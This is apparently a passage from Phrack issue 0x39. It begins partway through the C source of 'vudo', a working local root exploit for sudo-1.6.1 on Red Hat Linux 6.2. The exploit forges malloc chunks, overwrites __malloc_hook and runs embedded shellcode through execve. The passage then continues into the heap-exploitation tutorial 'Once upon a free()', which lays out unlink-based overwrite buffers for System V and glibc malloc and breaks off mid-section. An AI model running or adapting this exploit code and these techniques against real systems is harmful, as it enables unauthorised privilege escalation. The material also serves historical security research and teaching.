
/* execve_argv[ 0 ] */

execve_argv[ 0 ] = SUDO;

/* execve_argv[ 1 ] */

execve_argv[ 1 ] = "‑s";

/* execve_argv[ 2 ] */

execve_argv[ 2 ] = "‑u";

/* user_tty */

if ( (p = ttyname(STDIN_FILENO)) || (p = ttyname(STDOUT_FILENO)) ) { if ( strncmp(p, _PATH_DEV, sizeof(_PATH_DEV) ‑ 1) == 0 ) { p += sizeof(_PATH_DEV) ‑ 1;

}

user_tty = p;

} else {

user_tty = "unknown";

}

/* user_cwd */

if ( chdir(USER_CWD) == ‑1 ) {

return( NULL );

}

/* user_runas */

size = p_v‑>msg;

size ‑= MESSAGE;

size ‑= strlen( " ; TTY= ; PWD= ; USER= ; COMMAND=" ); size ‑= strlen( user_tty );

size ‑= strlen( USER_CWD );

user_runas = malloc( size + 1 );

if ( user_runas == NULL ) {

return( NULL );

}

memset( user_runas, 'M', size );

user_runas[ size ] = '\0';

/* execve_argv[ 3 ] */

execve_argv[ 3 ] = user_runas;

/* execve_argv[ 4 ] .. execve_argv[ (4 + pudding) ‑ 1 ] */

for ( i = 4; i < 4 + pudding; i++ ) {

execve_argv[ i ] = "";

}

/* user_args */

user_args = malloc( USER_ARGS + 1 );

if ( user_args == NULL ) {

return( NULL );

}

memset( user_args, 'S', USER_ARGS );

user_args[ USER_ARGS ] = '\0';

/* execve_argv[ 4 + pudding ] */

execve_argv[ 4 + pudding ] = user_args;

/* execve_argv[ (4 + pudding) + 1 ] */

execve_argv[ (4 + pudding) + 1 ] = NULL;

return( execve_argv );

}

/* vudo_execve_envp() */

char **

vudo_execve_envp( vudo_t * p_v )

{

size_t fd;

char * chunk;

size_t post_pudding;

int i;

size_t pudding;

size_t size;

char * post_chunk;

size_t p_chunk;

char * shell;

char * p;

char * sudo_ps1;

char * tz;

char ** execve_envp;

size_t stack;

/* fd */

fd = p_v‑>__malloc_hook ‑ ( SIZE_SZ + SIZE_SZ + sizeof(mchunkptr) );

/* chunk */

chunk = malloc( MINSIZE + 1 );

if ( chunk == NULL ) {

return( NULL );

}

( (mchunkptr)chunk )‑>prev_size = PREV_SIZE;

( (mchunkptr)chunk )‑>size = SIZE;

( (mchunkptr)chunk )‑>fd = (mchunkptr)fd;

( (mchunkptr)chunk )‑>bk = (mchunkptr)BK;

chunk[ MINSIZE ] = '\0';

/* post_pudding */

post_pudding = 0;

for ( i = 0; i < MINSIZE + 1; i++ ) {

if ( chunk[i] == '\0' ) {

post_pudding += 1;

}

}

/* pudding */

pudding = p_v‑>envp ‑ ( 3 + post_pudding + 2 );

/* post_chunk */

size = ( SIZE ‑ 1 ) ‑ 1;

while ( nul(STACK ‑ sizeof(SUDO) ‑ (size + 1) ‑ (MINSIZE + 1)) ) { size += 1;

}

post_chunk = malloc( size + 1 );

if ( post_chunk == NULL ) {

return( NULL );

}

memset( post_chunk, 'Y', size );

post_chunk[ size ] = '\0';

/* p_chunk */

p_chunk = STACK ‑ sizeof(SUDO) ‑ (strlen(post_chunk)+1) ‑ (MINSIZE+1);

/* shell */

shell = malloc( strlen(PRE_SHELL) + SHELL + 1 );

if ( shell == NULL ) {

return( NULL );

}

p = shell;

memcpy( p, PRE_SHELL, strlen(PRE_SHELL) );

p += strlen( PRE_SHELL );

while ( p < shell + strlen(PRE_SHELL) + (SHELL & ~(SIZE_SZ‑1)) ) { *((size_t *)p) = p_chunk;

p += SIZE_SZ;

}

while ( p < shell + strlen(PRE_SHELL) + SHELL ) { *(p++) = '2';

}

*p = '\0';

/* sudo_ps1 */

size = p_v‑>buf;

size ‑= POST_PS1 + VICTIM_SIZE;

size ‑= strlen( "PS1=" ) + 1 + SIZE_SZ;

sudo_ps1 = malloc( strlen(PRE_SUDO_PS1) + size + 1 ); if ( sudo_ps1 == NULL ) {

return( NULL );

}

memcpy( sudo_ps1, PRE_SUDO_PS1, strlen(PRE_SUDO_PS1) ); memset( sudo_ps1 + strlen(PRE_SUDO_PS1), '0', size + 1 ‑ sizeof(sc) ); strcpy( sudo_ps1 + strlen(PRE_SUDO_PS1) + size + 1 ‑ sizeof(sc), sc );

/* tz */

tz = malloc( strlen(PRE_TZ) + p_v‑>tz + 1 );

if ( tz == NULL ) {

return( NULL );

}

memcpy( tz, PRE_TZ, strlen(PRE_TZ) );

memset( tz + strlen(PRE_TZ), '0', p_v‑>tz );

tz[ strlen(PRE_TZ) + p_v‑>tz ] = '\0';

/* execve_envp */

execve_envp = malloc( p_v‑>envp * sizeof(char *) );

if ( execve_envp == NULL ) {

return( NULL );

}

/* execve_envp[ p_v‑>envp ‑ 1 ] */

execve_envp[ p_v‑>envp ‑ 1 ] = NULL;

/* execve_envp[3+pudding] .. execve_envp[(3+pudding+post_pudding)‑1] */

p = chunk;

for ( i = 3 + pudding; i < 3 + pudding + post_pudding; i++ ) { execve_envp[ i ] = p;

p += strlen( p ) + 1;

}

/* execve_envp[ 3 + pudding + post_pudding ] */

execve_envp[ 3 + pudding + post_pudding ] = post_chunk;

/* execve_envp[ 0 ] */

execve_envp[ 0 ] = shell;

/* execve_envp[ 1 ] */

execve_envp[ 1 ] = sudo_ps1;

/* execve_envp[ 2 ] */

execve_envp[ 2 ] = tz;

/* execve_envp[ 3 ] .. execve_envp[ (3 + pudding) ‑ 1 ] */

i = 3 + pudding;

stack = p_chunk;

while ( i‑‑ > 3 ) {

size = 0;

while ( nul_or_space(stack ‑ (size + 1)) ) { size += 1;

}

if ( size == 0 ) {

execve_envp[ i ] = "";

} else {

execve_envp[ i ] = malloc( size + 1 ); if ( execve_envp[i] == NULL ) { return( NULL );

}

memset( execve_envp[i], '1', size );

( execve_envp[ i ] )[ size ] = '\0';

}

stack ‑= size + 1;

}

return( execve_envp );

}

/* usage() */

void

usage( char * fn )

{

printf(

"%s versus Red Hat Linux/Intel 6.2 (Zoot) sudo‑1.6.1‑1\n", fn

);

printf(

"Copyright (C) 2001 Michel \"MaXX\" Kaempf <maxx@synnergy.net>\n" );

printf( "\n" );

printf( "* Usage: %s __malloc_hook tz envp\n", fn ); printf( "\n" );

printf( "* Example: %s 0x002501dc 62595 6866\n", fn ); printf( "\n" );

printf( "* __malloc_hook:\n" );

printf( " $ LD_TRACE_LOADED_OBJECTS=1 %s | grep %s\n", SUDO, LIBC ); printf( " $ objdump ‑‑syms %s | grep __malloc_hook\n", LIBC ); printf( " $ nm %s | grep __malloc_hook\n", LIBC ); printf( "\n" );

printf( "* tz:\n" );

printf( " ‑ first: %u\n", TZ_FIRST );

printf( " ‑ step: %u\n", TZ_STEP );

printf( " ‑ last: %u\n", TZ_LAST );

printf( "\n" );

printf( "* envp:\n" );

printf( " ‑ first: %u\n", ENVP_FIRST );

printf( " ‑ step: %u\n", ENVP_STEP );

}

/* main() */

int

main( int argc, char * argv[] )

{

vudo_t vudo;

/* argc */

if ( argc != 4 ) {

usage( argv[0] );

return( ‑1 );

}

/* vudo.__malloc_hook */

vudo.__malloc_hook = strtoul( argv[1], NULL, 0 );

if ( vudo.__malloc_hook == ULONG_MAX ) {

return( ‑1 );

}

/* vudo.tz */

vudo.tz = strtoul( argv[2], NULL, 0 );

if ( vudo.tz == ULONG_MAX ) {

return( ‑1 );

}

/* vudo.envp */

vudo.envp = strtoul( argv[3], NULL, 0 );

if ( vudo.envp == ULONG_MAX ) {

return( ‑1 );

}

/* vudo.setenv */

vudo.setenv = vudo_setenv( getuid() );

if ( vudo.setenv == 0 ) {

return( ‑1 );

}

/* vudo.msg */

vudo.msg = vudo_msg( &vudo );

/* vudo.buf */

vudo.buf = vudo_buf( &vudo );

/* vudo.NewArgv */

vudo.NewArgv = vudo_NewArgv( &vudo );

/* vudo.execve_argv */

vudo.execve_argv = vudo_execve_argv( &vudo );

if ( vudo.execve_argv == NULL ) {

return( ‑1 );

}

/* vudo.execve_envp */

vudo.execve_envp = vudo_execve_envp( &vudo );

if ( vudo.execve_envp == NULL ) {

return( ‑1 );

}

/* execve */

execve( (vudo.execve_argv)[0], vudo.execve_argv, vudo.execve_envp ); return( ‑1 );

}

<‑‑>

‑‑[ 5 ‑ Acknowledgements ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Thanks to Todd Miller for the fascinating vulnerability, thanks to Chris Wilson for the vulnerability discovery, thanks to Doug Lea for the excellent allocator, and thanks to Solar Designer for the unlink() technique.

Thanks to Synnergy for the invaluable support, the various operating systems, and the great patience... thanks for everything. Thanks to VIA (and especially to BBP and Kaliban) and thanks to the eXperts group (and particularly to Fred and Nico) for the careful (painful? :) rereading.

Thanks to the antiSecurity movement (and peculiarly to JimJones and Portal) for the interesting discussions of disclosure issues. Thanks to MasterSecuritY since my brain worked unconsciously on the Sudo vulnerability during work time :)

Thanks to Phrack for the professional work, and greets to superluck ;)

‑‑[ 6 ‑ Outroduction ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I stand up next to a mountain and chop it down with the edge of my hand. ‑‑ Jimi Hendrix (Voodoo Chile (slight return))

The voodoo, who do, what you don't dare do people.

‑‑ The Prodigy (Voodoo People)

I do Voodoo, but not on You

‑‑ efnet.vuurwerk.nl

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Once upon a free()

==Phrack Inc.==

Volume 0x0b, Issue 0x39, Phile #0x09 of 0x12

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Once upon a free()... ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ anonymous <d45a312a@author.phrack.org> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑=|

On the Unix system, and later in the C standard library there are functions to handle variable amounts of memory in a dynamic way. This allows programs to dynamically request memory blocks from the system. The operating system only provides a very rough system call 'brk' to change the size of a big memory chunk, which is known as the heap.

On top of this system call the malloc interface is located, which provides a layer between the application and the system call. It can dynamically split the large single block into smaller chunks, free those chunks on request of the application and avoid fragmentation while doing so. You can compare the malloc interface to a linear file system on a large, but dynamically sized raw device.

There are a few design goals which have to be met by the malloc interface:

‑ stability

‑ performance

‑ avoidance of fragmentation

‑ low space overhead

There are only a few common malloc implementations. The most common ones are the System V one, implemented by AT&T, the GNU C Library implementation and the malloc‑similar interface of the Microsoft operating systems (RtlHeap*).

Here is a table of algorithms and which operating systems use them:

Algorithm | Operating System

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

BSD kingsley | 4.4BSD, AIX (compatibility), Ultrix BSD phk | BSDI, FreeBSD, OpenBSD

GNU Lib C (Doug Lea) | Hurd, Linux

System V AT&T | Solaris, IRIX

Yorktown | AIX (default)

RtlHeap* | Microsoft Windows *

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

It is interesting to see that most of the malloc implementations are very easy to port and that they are architecture independent. Most of those implementations just build an interface with the 'brk' system call. You can change this behaviour with a #define. All of the implementations I have come across are written in ANSI C and just do very minimal or even no sanity checking. Most of them have a special compilation define that includes asserts and extra checks. Those are turned off by default in the final build for performance reasons. Some of the implementations also offer extra reliability checks that will detect buffer overflows. Those are made to detect overflows while development, not to stop exploitation in the final release.

Storing management info in‑band

Most malloc implementations share the behaviour of storing their own management information, such as lists of used or free blocks, sizes of memory blocks and other useful data within the heap space itself. Since the whole idea of malloc/free is based on the dynamic requirements the application has, the management info itself occupies a variable amount of data too. Because of this, the implementation can seldomly just reserve a certain amount of memory for its own purposes, but stores the management information "in‑band", right after and before the blocks of memory that are used by the application.

Some applications do request a block of memory using the malloc interface, which later happens to be vulnerable to a buffer overflow. This way, the data behind the chunk can be changed. Possibly the malloc management structures can be compromised. This has been demonstrated first by Solar Designer's wizard‑like exploit [1].

The central attack of exploiting malloc allocated buffer overflows is to modify this management information in a way that will allow arbitrary memory overwrites afterwards. This way pointers can be overwritten within the writeable process memory, hence allowing modification of return addresses, linkage tables or application level data.

To mount such an attack, we have to take a deep look within the internal workings of the implementation we want to exploit. This article discusses the commonly used GNU C Library and the System V implementation and how to gain control over a process using buffer overflows which occur in malloced buffers under Linux, Solaris and IRIX systems.

System V malloc implementation

==============================

IRIX and Solaris use an implementation which is based on self‑adjusting binary trees. The theoretical background of this implementation has been described in [2].

The basic idea of this implementation is to keep lists of equally sized malloc chunks within a binary tree. If you allocate two chunks of the same size, they will be within the same node and within the same list of this node. The tree is ordered by the size of its elements.

The TREE structure

The definition of the TREE structure can be found in the mallint.h, along with some easy‑to‑use macros to access its elements. The mallint.h file can be found in the source distribution of the Solaris operating system [4]. Although I cannot verify that IRIX is based on the same source, there are several similarities which indicated this. The malloc interface internally creates the same memory layout and functions, besides some 64 bit alignments. You can utilize the Solaris source for your IRIX exploits, too.

To allow each tree element to be used for a different purpose to avoid overhead and force an alignment, each TREE structure element is defined as a union:

/* the proto‑word; size must be ALIGN bytes */

typedef union _w_ {

size_tw_i;/* an unsigned int */

struct _t_*w_p;/* a pointer */

charw_a[ALIGN];/* to force size */

} WORD;

Central TREE structure definition:

/* structure of a node in the free tree */

typedef struct _t_ {

WORDt_s;/* size of this element */

WORDt_p;/* parent node */

WORDt_l;/* left child */

WORDt_r;/* right child */

WORDt_n;/* next in link list */

WORDt_d;/* dummy to reserve space for self‑pointer */

} TREE;

The 't_s' element of the chunk header contains the rounded up value of the size the user requested when he called malloc. Since this size is always rounded up to a word boundary, at least the lower two bits of the 't_s' elements are unused ‑ they normally would have the value of zero all the time. Instead of being zero, they are ignored for all size‑related operations. They are used as flag elements.

From the malloc.c source it reads:

BIT0: 1 for busy (block is in use), 0 for free.

BIT1: if the block is busy, this bit is 1 if the preceding block in contiguous memory is free. Otherwise, it is always 0.

TREE Access macros:

/* usable # of bytes in the block */

#defineSIZE(b)(((b)‑>t_s).w_i)

/* free tree pointers */

#definePARENT(b)(((b)‑>t_p).w_p)

#defineLEFT(b)(((b)‑>t_l).w_p)

#defineRIGHT(b)(((b)‑>t_r).w_p)

/* forward link in lists of small blocks */

#defineAFTER(b)(((b)‑>t_p).w_p)

/* forward and backward links for lists in the tree */

#defineLINKFOR(b)(((b)‑>t_n).w_p)

#defineLINKBAK(b)(((b)‑>t_p).w_p)

For all allocation operations a certain alignment and minimum size is enforced, which is defined here:

#defineWORDSIZE(sizeof (WORD))

#defineMINSIZE(sizeof (TREE) ‑ sizeof (WORD))

#defineROUND(s)if (s % WORDSIZE) s += (WORDSIZE ‑ (s % WORDSIZE))

The tree structure is the central element of each allocated chunk. Normally only the 't_s' and 't_p' elements are used, and user data is stored from 't_l' on. Once the node is freed, this changes and the data is reused to manage the free elements more efficiently. The chunk represents an element within the splay tree. As more chunks get freed, the malloc implementation tries to merge the free chunks right next to it. At most FREESIZE (32 by default) chunks can be in this dangling free state at the same time. They are all stored within the 'flist' array. If a call to free is made while the list is already full, the old element at this place falls out and is forwarded to realfree. The place is then occupied by the newly freed element.

This is done to speed up and avoid defragmentation in cases where a lot of calls to free are made in a row. The real merging process is done by realfree. It inserts the chunk into the central tree, which starts at the 'Root' pointer. The tree is ordered by the size of its elements and is self‑balancing. It is a so called "splay tree", in which the elements cycle in a special way to speed up searches (see google.com "splay tree" for further information). This is not much of importance here, but keep in mind that there are two stages of free chunks: one being within the flist array, and one within the free‑elements tree starting at 'Root'.

There are some special management routines for allocating small chunks of memory, which happen to have a size below 40 bytes. Those are not considered here, but the basic idea is to have extra lists of them, not keeping them within a tree but in lists, one for each WORD matching size below 40.

There is more than one way to exploit a malloc based buffer overflow, however here is one method which works against both, IRIX and Solaris.

As a chunk is realfree'd, it is checked whether the neighbor‑chunks are already within the realfree'd tree. If it is the case, the only thing that has to be done is to logically merge the two chunks and reorder its position within the tree, as the size has changed.

This merging process involves pointer modification within the tree, which consists of nodes. These nodes are represented by the chunk header itself. Pointers to other tree elements are stored there. If we can overwrite them, we can possibly modify the operation when merging the chunks.

Here is, how it is done in malloc.c:

(modified to show the interesting part of it)

static void

realfree(void *old)

{

TREE*tp, *sp, *np;

size_tts, size;

/* pointer to the block */

tp = BLOCK(old);

ts = SIZE(tp);

if (!ISBIT0(ts))

return;

CLRBITS01(SIZE(tp));

/* see if coalescing with next block is warranted */

np = NEXT(tp);

if (!ISBIT0(SIZE(np))) {

if (np != Bottom)

t_delete(np);

SIZE(tp) += SIZE(np) + WORDSIZE;

}

We remember NEXT points to the chunk directly following the current one. So we have this memory layout:

tp old np

| |

[chunk A header] [chunk A data] | [chunk B or free ....]

chunk boundary

In the usual situation the application has allocated some space and got a pointer (old) from malloc. It then messes up and allows a buffer overflow of the chunk data. We cross the chunk boundary by overflowing and hit the data behind, which is either free space or another used chunk.

np = NEXT(tp);

Since we can only overflow data behind 'old', we cannot modify the header of our own chunk. Therefore we cannot influence the 'np' pointer in any way. It always points to the chunk boundary.

Now a check is made to test if it is possible to merge forward, that is our chunk and the chunk behind it. Remember that we can control the chunk to the right of us.

if (!ISBIT0(SIZE(np))) {

if (np != Bottom)

t_delete(np);

SIZE(tp) += SIZE(np) + WORDSIZE;

}

BIT0 is zero if the chunk is free and within the free elements tree. So if it is free and not the last chunk, the special 'Bottom' chunk, it is deleted from the tree. Then the sizes of both chunks are added and later in the code of the realfree function the whole resized chunk is reinserted into the tree.

One important part is that the overflowed chunk must not be the last chunk within the malloc space, condition:

1. Overflowed chunk must not be the last chunk

Here is how the 't_delete' function works:

static void

t_delete(TREE *op)

{

TREE*tp, *sp, *gp;

/* if this is a non‑tree node */

if (ISNOTREE(op)) {

tp = LINKBAK(op);

if ((sp = LINKFOR(op)) != NULL)

LINKBAK(sp) = tp;

LINKFOR(tp) = sp;

return;

}

There are other cases, but this is the one easiest to exploit. As I am already tired of this, I will just explain this one here. The others are very similar (look at malloc.c).

ISNOTREE compares the 't_l' element of the TREE structure with ‑1. ‑1 is the special marker for non‑tree nodes, which are used as doubly linked list, but that does not matter.

Anyway, this is the first condition we have to obey:

2. fake‑>t_l = ‑1;

Now the unlinking between FOR (t_n) and BAK (t_p) is done, which can be rewritten as:

t1 = fake‑>t_p

t2 = fake‑>t_n

t2‑>t_p = t1

t1‑>t_n = t2

Which is (written in pseudo‑raw‑assignments which happen at the same time):

[t_n + (1 * sizeof (WORD))] = t_p

[t_p + (4 * sizeof (WORD))] = t_n

This way we can write to arbitrary addresses together with valid addresses at the same time. We choose to use this:

t_p = retloc ‑ 4 * sizeof (WORD)

t_n = retaddr

This way retloc will be overwritten with retaddr and *(retaddr + 8) will be overwritten with retloc. If there is code at retaddr, there should be a small jump over the bytes 8‑11 to not execute this address as code. Also, the addresses can be swapped if that fits the situation better.

Finally our overwrite buffer looks like this:

| <t_s> <t_p> <t_l> <j: t_r> <t_n> <j: t_d>

|

chunk boundary

Where: t_s = some small size with lower two bits zeroed out t_p = retloc ‑ 4 * sizeof (WORD)

t_l = ‑1

t_r = junk

t_n = retaddr

t_d = junk

Note that although all of the data is stored as 32 bit pointers, each structure element occupies eight bytes. This is because of the WORD union, which forces at least ALIGN bytes to be used for each element. ALIGN is defined to eight by default.

So a real overflow buffer behind the chunk boundary might look like:

ff ff ff f0 41 41 41 41 ef ff fc e0 41 41 41 41 | ....AAAA....AAAA ff ff ff ff 41 41 41 41 41 41 41 41 41 41 41 41 | ....AAAAAAAAAAAA ef ff fc a8 41 41 41 41 41 41 41 41 41 41 41 41 | ....AAAAAAAAAAAA

All 'A' characters can be set arbitrarily. The 't_s' element has been replaced with a small negative number to avoid NUL bytes. If you want to use NUL bytes, use very few. Otherwise the realfree function will crash later.

The buffer above will overwrite:

[0xeffffce0 + 32] = 0xeffffca8

[0xeffffca8 + 8] = 0xeffffce0

See the example code (mxp.c) for a more in‑depth explanation.

To summarize down the guts if you happen to exploit a malloc based buffer overflow on IRIX or Solaris:

1. Create a fake chunk behind the one you overflow 2. The fake chunk is merged with the one you overflow as it is passed to realfree

3. To make it pass to realfree it has to call malloc() again or there have to be a lot of successive free() calls 4. The overflowed chunk must not be the last chunk (the one before Bottom)

5. Prepend the shellcode/nop‑space with jump‑aheads to not execute the unavoidable unlink‑overwrite address as code 6. Using the t_splay routines attacks like this are possible too, so if you cannot use the attack described here (say you cannot write 0xff bytes), use the source luke.

There are a lot of other ways to exploit System V malloc management, way more than there are available in the GNU implementation. This is a result of the dynamic tree structure, which also makes it difficult to understand sometimes. If you have read until here, I am sure you can find your own ways to exploit malloc based buffer overflows.

GNU C Library implementation

============================

The GNU C library keeps the information about the memory slices the application requests in so called 'chunks'. They look like this (adapted from malloc.c):

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

chunk ‑> | prev_size |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| size |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

mem ‑> | data |

: ...

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

nextchunk ‑> | prev_size ... |

:

Where mem is the pointer you get as return value from malloc(). So if you do a:

unsigned char *mem = malloc (16);

Then 'mem' is equal to the pointer in the figure, and (mem ‑ 8) would be equal to the 'chunk' pointer.

The 'prev_size' element has a special function: If the chunk before the current one is unused (it was free'd), it contains the length of the chunk before. In the other case ‑ the chunk before the current one is used 'prev_size' is part of the 'data' of it, saving four bytes.

The 'size' field has a special meaning. As you would expect, it contains the length of the current block of memory, the data section. As you call malloc(), four is added to the size you pass to it and afterwards the size is padded up to the next double‑word boundary. So a malloc(7) will become a malloc(16), and a malloc(20) will become malloc(32). For malloc(0) it will be padded to malloc(8). The reason for this behaviour will be explained in the latter.

Since this padding implies that the lower three bits are always zero and are not used for real length, they are used another way. They are used to indicate special attributes of the chunk. The lowest bit, called PREV_INUSE, indicates whether the previous chunk is used or not. It is set if the next chunk is in use. The second least significant bit is set if the memory area is mmap'ed ‑‑ a special case which we will not consider. The third least significant bit is unused.

To test whether the current chunk is in use or not, we have to check the next chunk's PREV_INUSE bit within its size value.

Once we free() the chunk, using free(mem), some checks take place and the memory is released. If its neighbour blocks are free, too (checked using the PREV_INUSE flag), they will be merged to keep the number of reuseable blocks low, but their sizes as large as possible. If a merge is not possible, the next chunk is tagged with a cleared PREV_INUSE bit, and the chunk changes a bit:

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

chunk ‑> | prev_size |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| size |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

mem ‑> | fd |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| bk |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| (old memory, can be zero bytes) |

:

nextchunk ‑> | prev_size ... |

:

You can see that there are two new values, where our data was previously stored (at the 'mem' pointer). Those two values, called 'fd' and 'bk' forward and backward, that is, are pointers. They point into a double linked list of unconsolidated blocks of free memory. Every time a new free is issued, the list will be checked, and possibly unconsolidated blocks are merged. The whole memory gets defragmented from time to time to release some memory.

Since the malloc size is always at least 8 bytes, there is enough space for both pointers. If there is old data remaining behind the 'bk' pointer, it remains unused until it gets malloc'd again.

The interesting thing regarding this management, is that the whole internal information is held in‑band ‑‑ a clear channeling problem.

(just as with format string commands within the string itself, as control channels in breakable phonelines, as return addresses within stack memory, etc).

Since we can overwrite this internal management information if we can overwrite a malloced area, we should take a look at how it is processed later on. As every malloc'ed area is free()'d again in any sane program, we take a look at free, which is a wrapper to chunk_free() within malloc.c (simplified a bit, took out #ifdef's):

static void

chunk_free(arena *ar_ptr, mchunkptr p)

{

size_t hd = p‑>size; /* its head field */

size_t sz; /* its size */

int idx; /* its bin index */

mchunkptr next; /* next contiguous chunk */

size_t nextsz; /* its size */

size_t prevsz; /* size of previous contiguous chunk */

mchunkptr bck; /* misc temp for linking */

mchunkptr fwd; /* misc temp for linking */

int islr; /* track whether merging with last_remainder */

check_inuse_chunk(ar_ptr, p);

sz = hd & ~PREV_INUSE;

next = chunk_at_offset(p, sz);

nextsz = chunksize(next);

Since the malloc management keeps chunks within special structures called 'arenas', it is now tested whether the current chunk that should be free directly borders to the 'top' chunk ‑‑ a special chunk. The 'top' chunk is always the top‑most available memory chunk within an arena, it is the border of the available memory. The whole if‑block is not interesting for typical buffer overflows within the malloc space.

if (next == top(ar_ptr)) /* merge with top */

{

sz += nextsz;

if (!(hd & PREV_INUSE)) /* consolidate backward */

{

prevsz = p‑>prev_size;

p = chunk_at_offset(p, ‑(long)prevsz);

sz += prevsz;

unlink(p, bck, fwd);

}

set_head(p, sz | PREV_INUSE);

top(ar_ptr) = p;

if ((unsigned long)(sz) >= (unsigned long)trim_threshold) main_trim(top_pad);

return;

}

Now the 'size' of the current chunk is tested whether the previous chunk is unused (testing for the PREV_INUSE flag). If this is the case, both chunks are merged.

islr = 0;

if (!(hd & PREV_INUSE)) /* consolidate backward */

{

prevsz = p‑>prev_size;

p = chunk_at_offset(p, ‑(long)prevsz);

sz += prevsz;

if (p‑>fd == last_remainder(ar_ptr)) /* keep as last_remainder */

islr = 1;

else

unlink(p, bck, fwd);

}

Now the same is done vice versa. It is checked whether the chunk in front of the current chunk is free (testing for the PREV_INUSE flag of the size two chunks ahead). If this is the case the chunk is also merged into the current one.

if (!(inuse_bit_at_offset(next, nextsz))) /* consolidate forward */

{

sz += nextsz;

if (!islr && next‑>fd == last_remainder(ar_ptr))

re‑insert last_remainder */

{

islr = 1;

link_last_remainder(ar_ptr, p);

}

else

unlink(next, bck, fwd);

next = chunk_at_offset(p, sz);

}

else

set_head(next, nextsz); /* clear inuse bit */

set_head(p, sz | PREV_INUSE);

next‑>prev_size = sz;

if (!islr)

frontlink(ar_ptr, p, sz, idx, bck, fwd);

}

As Solar Designer showed us, it is possible to use the 'unlink' macro to overwrite arbitrary memory locations. Here is how to do:

A usual buffer overflow situation might look like:

mem = malloc (24);

gets (mem);

...

free (mem);

This way the malloc'ed chunk looks like this:

[ prev_size ] [ size P] [ 24 bytes ... ] (next chunk from now) [ prev_size ] [ size P] [ fd ] [ bk ] or [ data ... ]

As you can see, the next chunk directly borders to our chunk we overflow. We can overwrite anything behind the data region of our chunk, including the header of the following chunk.

If we take a closer look at the end of the chunk_free function, we see this code:

if (!(inuse_bit_at_offset(next, nextsz))) /* consolidate forward */

{

sz += nextsz;

if (!islr && next‑>fd == last_remainder(ar_ptr))

re‑insert last_remainder */

{

islr = 1;

link_last_remainder(ar_ptr, p);

}

else

unlink(next, bck, fwd);

next = chunk_at_offset(p, sz);

}

The inuse_bit_at_offset, is defined as macro in the beginning of malloc.c:

#define inuse_bit_at_offset(p, s)\

(((mchunkptr)(((char*)(p)) + (s)))‑>size & PREV_INUSE)

Since we control the header of the 'next' chunk we can trigger the whole if block at will. The inner if statement is uninteresting, except our chunk is bordering to the top‑most chunk. So if we choose to trigger the outer if statement, we will call unlink, which is defined as macro, too:

#define unlink(P, BK, FD)

{

BK = P‑>bk;

FD = P‑>fd;

FD‑>bk = BK;

BK‑>fd = FD;

}

The unlink is called with a pointer to a free chunk and two temporary pointer variables, called bck and fwd. It does this to the 'next' chunk header:

*(next‑>fd + 12) = next‑>bk

*(next‑>bk + 8) = next‑>fd

They are not swapped, but the 'fd' and 'bk' pointers point to other chunks. This two chunks being pointed to are linked, zapping the current chunk from the table.

So to exploit a malloc based buffer overflow, we have to write a bogus header in the following chunk and then wait for our chunk getting free'd.

[buffer .... ] | [ prev_size ] [ size ] [ fd ] [ bk ]

'|' is the chunk boundary.

The values we set for 'prev_size' and 'size' do not matter, but two conditions have to be met, in case it should work:

a) the least significant bit of 'size' has to be zero

b) both, 'prev_size' and 'size' should be add‑safe to a pointer that is read from. So either use very small values up to a few thousand, or to avoid NUL bytes ‑ use big values such as 0xfffffffc. c) you have to ensure that at (chunk_boundary + size + 4) the lowest bit is zeroed out (0xfffffffc will work just fine)

'fd' and 'bk' can be set this way (as used in Solar Designers Netscape Exploit):

fd = retloc ‑ 12

bk = retaddr

But beware, that (retaddr + 8) is being written to and the content there will be destroyed. You can circumvent this by a simple '\xeb\x0c' at retaddr, which will jump twelve bytes ahead, over the destroyed content.

Well, however, exploitation is pretty straight forward now:

<jmp‑ahead, 2> <6> <4 bogus> <nop> <shellcode> | \xff\xff\xff\xfc \xff\xff\xff\xfc <retloc ‑ 12> <retaddr>

Where '|' is the chunk boundary (from that point we overflow). Now, the next two negative numbers are just to survive a few checks in free() and to avoid NUL bytes. Then we store (retloc ‑ 12) properly encoded and then the return address, which will return to the 'jmp‑ahead'. The buffer before the '|' is the same as with any x86 exploit, except for the first 12 bytes, because we have to take care of the extra write operation by the unlink macro.

Off‑by‑one / Off‑by‑five

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

It is possible to overwrite arbitrary pointers, even in cases where you can overwrite only five bytes, or ‑ in special cases ‑ only one byte. When overwriting five bytes the memory layout has to look like:

[chunk a] [chunk b]

